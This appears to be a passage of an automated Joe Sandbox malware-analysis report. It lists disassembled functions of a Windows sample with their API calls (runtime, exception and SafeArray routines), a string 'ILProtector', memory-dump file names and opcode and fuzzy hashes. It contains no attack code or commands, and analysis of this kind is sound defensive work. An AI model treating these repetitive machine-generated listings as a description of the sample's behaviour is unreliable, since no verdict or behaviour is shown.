Instruction Fuzzy Hash: F5219D75301218AFEB11CF98C894FAB77A8EF8A744F1040A8E958DB344D771D911CBA2

Function 689AA42D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

APIs

__CRT_INIT@12.LIBCMT ref: 689AA463
__CRT_INIT@12.LIBCMT ref: 689AA493
__CRT_INIT@12.LIBCMT ref: 689AA4B3

Strings

a0, xrefs: 689AA4FF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: T@12
String ID: a0
API String ID: 456891419-3188653782
Opcode ID: 146cf84839ded824ae65268d08c88a50fca7b64740be4b2a8913ee19edaa2b3a
Instruction ID: 06b1b3e8a6297f63dd47d35507fa91eb0c08278a0a3dc5fdb2548c7dddf6dba1
Opcode Fuzzy Hash: 146cf84839ded824ae65268d08c88a50fca7b64740be4b2a8913ee19edaa2b3a
Instruction Fuzzy Hash: 5511E2B0D15256ABEB209A764C4CF6FBAFCAB81F58F809418B435F6140D739D941CB60

Function 689A9BB5 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 689A9BCF

Part of subcall function 689A9D66: __FF_MSGBANNER.LIBCMT ref: 689A9D7F
Part of subcall function 689A9D66: __NMSG_WRITE.LIBCMT ref: 689A9D86
Part of subcall function 689A9D66: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,00000000,?,689A9BD4,68941290,513F6A41), ref: 689A9DAB

std::exception::exception.LIBCMT ref: 689A9C04
std::exception::exception.LIBCMT ref: 689A9C1E
__CxxThrowException@8.LIBCMT ref: 689A9C2F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$AllocateException@8HeapThrow_malloc
String ID:
API String ID: 615853336-0
Opcode ID: f0b71e4be14e9a3d80459c075dcb8f9b73bb116c6ad5cd5569dc304d8cbadfb4
Instruction ID: 66d6eed1de0f8978375f9cfcb52d3030372b09aeba325089e0e53118dbf29298
Opcode Fuzzy Hash: f0b71e4be14e9a3d80459c075dcb8f9b73bb116c6ad5cd5569dc304d8cbadfb4
Instruction Fuzzy Hash: 10F0A436500619AEDF10EB68CC55A6D7EF8BF9271CFD00419E430A6190DB73CA419651

Function 68956C60 Relevance: 6.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(00000011,00000000,00000000), ref: 68956C73
SafeArrayAccessData.OLEAUT32(00000000,68956C3C), ref: 68956C87
_memmove.LIBCMT ref: 68956C9A
SafeArrayUnaccessData.OLEAUT32(00000000), ref: 68956CA3

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$Data$AccessCreateUnaccessVector_memmove
String ID:
API String ID: 3147195435-0
Opcode ID: 4701896a1e326ca7eab797bfbe049ab324221d0f1ba0c79354f328e99bafb543
Instruction ID: 768d8cea02189681559bbfb942360544299408dc1d491741751a12e7c471383b
Opcode Fuzzy Hash: 4701896a1e326ca7eab797bfbe049ab324221d0f1ba0c79354f328e99bafb543
Instruction Fuzzy Hash: 3CF05E75304218BBEB219F51DC89FDB3BACEF96760F008015FA188E240E671D500CBB1

Function 68971FD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 175COMMON

Download Yara Rule

APIs

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

std::exception::exception.LIBCMT ref: 68972206
__CxxThrowException@8.LIBCMT ref: 68972221

Part of subcall function 68976480: __CxxThrowException@8.LIBCMT ref: 68976518
Part of subcall function 68976480: __CxxThrowException@8.LIBCMT ref: 68976558

Strings

ILProtector, xrefs: 68972045

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Throw$_mallocstd::exception::exception
String ID: ILProtector
API String ID: 84431791-1153028812
Opcode ID: b7005ee6af6c000d5282fdac48f5373e998719bc3bf04e3ca6ca74db0def7283
Instruction ID: 81bb9975c1a75be75c650816a4658d21999be1290f9ba683c9d6d7d03af5d8c3
Opcode Fuzzy Hash: b7005ee6af6c000d5282fdac48f5373e998719bc3bf04e3ca6ca74db0def7283
Instruction Fuzzy Hash: 72713975905259DFCB24CFA8C884BEEBBB5FF59304F1081A9E41AA7340DB71AA44CF91

Function 68959110 Relevance: 5.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6895913B
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6895915C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 68959170
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 68959191

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 739dba2ad4721d01df368dae6147aaad57131a0850f5ee33e99726ccd2583a19
Instruction ID: ac340e80308a45f09853fa3c93263937eb7f4e865791d0d12991eb8b9743224f
Opcode Fuzzy Hash: 739dba2ad4721d01df368dae6147aaad57131a0850f5ee33e99726ccd2583a19
Instruction Fuzzy Hash: 124131B69002099FCB04DF99D9848EEBBB8FF49214B50855ED916AB300D731EA15CFA1

Function 68958E20 Relevance: 4.7, APIs: 3, Instructions: 162COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 68958E89
LeaveCriticalSection.KERNEL32(?,00000000), ref: 68958EAD
_memset.LIBCMT ref: 68958ED2

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: CriticalSection$EnterLeave_memset
String ID:
API String ID: 3751686142-0
Opcode ID: da36df46be56ddb6f7ca28674e7fb13fb42036f53ed2195e542840124e2d63d0
Instruction ID: 9739f013e1b2c8cdb9e474a3dbba30d63451fdacaab714585a90938dbf2e53ce
Opcode Fuzzy Hash: da36df46be56ddb6f7ca28674e7fb13fb42036f53ed2195e542840124e2d63d0
Instruction Fuzzy Hash: 03517CB4650205EFC708CF58C890E6BB7B6FF89304F50855DE91AAB381C731EA65CB91

Function 6896DB10 Relevance: 4.6, APIs: 3, Instructions: 63COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6896DB2D
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6896DB45
SafeArrayDestroy.OLEAUT32(00000000), ref: 6896DBA2

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArraySafe$CreateDestroyElementVector
String ID:
API String ID: 3149346722-0
Opcode ID: 7d27c703cdeaf65a0b922d578071af82a90933f014dc8ea7c274c497f679244f
Instruction ID: b0a94093eb3e358fac520eab07067282761bc1fbe73bf435c1ecbcd8625adc9c
Opcode Fuzzy Hash: 7d27c703cdeaf65a0b922d578071af82a90933f014dc8ea7c274c497f679244f
Instruction Fuzzy Hash: 9411BF75745205AFE700DF69C888FAABBB8FF9A314F148199E918DB301D731E840CBA0

Function 68957140 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

Part of subcall function 68972820: _malloc.LIBCMT ref: 68972871

std::tr1::_Xweak.LIBCPMT ref: 689571D2

Strings

Aj?Q, xrefs: 6895721C

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Xweak_mallocstd::tr1::_
String ID: Aj?Q
API String ID: 4085767713-52356588
Opcode ID: f8f4cdcd690c6a6144e1d5bfb4805158623f08afe91bae64dda3359624c83962
Instruction ID: 2fc7ea87f59e085ac4b7dd6454b85e01d9a622213f7705eaeefeeea9949572ae
Opcode Fuzzy Hash: f8f4cdcd690c6a6144e1d5bfb4805158623f08afe91bae64dda3359624c83962
Instruction Fuzzy Hash: B43170B4A0464A9FCB10CFA9C980AABBBF9FF49208F50865DE82597741D331EA15CB50

Function 68973EB0 Relevance: 3.2, APIs: 2, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

std::exception::exception.LIBCMT ref: 68974042

Part of subcall function 689A9533: std::exception::_Copy_str.LIBCMT ref: 689A954E

__CxxThrowException@8.LIBCMT ref: 68974059

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Part of subcall function 689A9BB5: std::exception::exception.LIBCMT ref: 689A9C04
Part of subcall function 689A9BB5: std::exception::exception.LIBCMT ref: 689A9C1E
Part of subcall function 689A9BB5: __CxxThrowException@8.LIBCMT ref: 689A9C2F

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$Copy_strExceptionRaise_mallocstd::exception::_
String ID:
API String ID: 2813683038-0
Opcode ID: 255a53779b1dbfd078419ca73b3175d0f25bcdb8c89308ae435561ebdad58ed3
Instruction ID: f13f5b5a75863b7a4c4ff1e2f0ff8641ea0cde4dffd7246ef9c2bd5f7d81b458
Opcode Fuzzy Hash: 255a53779b1dbfd078419ca73b3175d0f25bcdb8c89308ae435561ebdad58ed3
Instruction Fuzzy Hash: 0591ADB59047009FD710CF69C841B6AFBF8FF95344F90896AE4299B290E3B2D910CB92

Function 6895BDF7 Relevance: 3.2, APIs: 2, Instructions: 200COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6895BE2D
IsBadReadPtr.KERNEL32(00000000,00000008,?,?,?), ref: 6895BE6D

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ArrayDestroyReadSafe
String ID:
API String ID: 616443815-0
Opcode ID: 30549ab2d72141319d6888cb22d54b1bc9b7b866edfeb3adcdad132ff3bd7aa7
Instruction ID: 25ef43cf595f7c5b1d59dc5812a4b14f6ef0c21c56c6d4b4f08fa6d6285c4543
Opcode Fuzzy Hash: 30549ab2d72141319d6888cb22d54b1bc9b7b866edfeb3adcdad132ff3bd7aa7
Instruction Fuzzy Hash: 747112B0D046969FEB21CF348840669FBB9AB06328F58835CD9F5972D1C331D566CB92

Function 689562C0 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

std::exception::exception.LIBCMT ref: 68956466

Part of subcall function 689A9533: std::exception::_Copy_str.LIBCMT ref: 689A954E

__CxxThrowException@8.LIBCMT ref: 6895647D

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Copy_strExceptionException@8RaiseThrow_mallocstd::exception::_std::exception::exception
String ID:
API String ID: 2299493649-0
Opcode ID: d3c18c42f37016bbd5bbc8c69135610c910c782a13008005590a7ef3ac7cbb14
Instruction ID: 802cefda0abaa442f40c5604a575b11286ddab30a9b79c78d1cec4fdef0f4862
Opcode Fuzzy Hash: d3c18c42f37016bbd5bbc8c69135610c910c782a13008005590a7ef3ac7cbb14
Instruction Fuzzy Hash: 7F5169B69083409FD700CF68C885A5ABBE4BB95744F80492EFA9A8B390D771D954CB93

Function 6896D2E0 Relevance: 3.1, APIs: 2, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

std::exception::exception.LIBCMT ref: 6896D3E8
__CxxThrowException@8.LIBCMT ref: 6896D3FF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID:
API String ID: 4063778783-0
Opcode ID: 375956a8354fdd066f39170c033ed95e1b264a62aa676df1433a84ee0e3cc33b
Instruction ID: 580bfd090e5778fbd6ed658eed566cada617e611c5a66b8ebf8a8e08d53b4d64
Opcode Fuzzy Hash: 375956a8354fdd066f39170c033ed95e1b264a62aa676df1433a84ee0e3cc33b
Instruction Fuzzy Hash: 59312C755087059FD704CF28C88195EBBF4BF99728F908A2EF4658B350E731EA46CB92

Function 68958400 Relevance: 3.0, APIs: 2, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 689A9BB5: _malloc.LIBCMT ref: 689A9BCF

std::exception::exception.LIBCMT ref: 68958449
__CxxThrowException@8.LIBCMT ref: 6895845E

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID:
API String ID: 4063778783-0
Opcode ID: 5dc68a276f590eb13684d8d301115a9dc5c4ac9565ca228e3448b8061f6da5b4
Instruction ID: 5049f535c8c7a98828b9b545dc5823af6f712cac2d1d2d44ca5b89fef3d1b27f
Opcode Fuzzy Hash: 5dc68a276f590eb13684d8d301115a9dc5c4ac9565ca228e3448b8061f6da5b4
Instruction Fuzzy Hash: 7201A478500208AFC70CDF54D4918AAB7F5FF98300B90C1ADDD2A4B750DB31EA45CB96

Function 05BC0000 Relevance: 2.6, Strings: 2, Instructions: 87COMMON

Download Yara Rule

Strings

Te]q, xrefs: 05BC0077
TJbq, xrefs: 05BC008F

Memory Dump Source

Source File: 0000000E.00000002.2658558268.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5bc0000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID: TJbq$Te]q
API String ID: 0-3147309840
Opcode ID: a0b217f7fe2887201328ce6706f1d846107a7462c07248efe229e410b90024b0
Instruction ID: b8815d4492052fdbd5199dd0cf263977bbf11a4563da0659c85c16c6017a52a2
Opcode Fuzzy Hash: a0b217f7fe2887201328ce6706f1d846107a7462c07248efe229e410b90024b0
Instruction Fuzzy Hash: 4931EA717093844FCB06ABB498A937E7FB1AF46200F0904DFD485DB3E2D9685D09C7A2

Function 68958D60 Relevance: 2.6, APIs: 2, Instructions: 78COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000,68958C13,?,68958CD3,?,68958C13,00000000,?,?,68958C13,?,?), ref: 68958D73
LeaveCriticalSection.KERNEL32(?,?,?,68958CD3,?,68958C13,00000000,?,?,68958C13,?,?), ref: 68958D8C

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
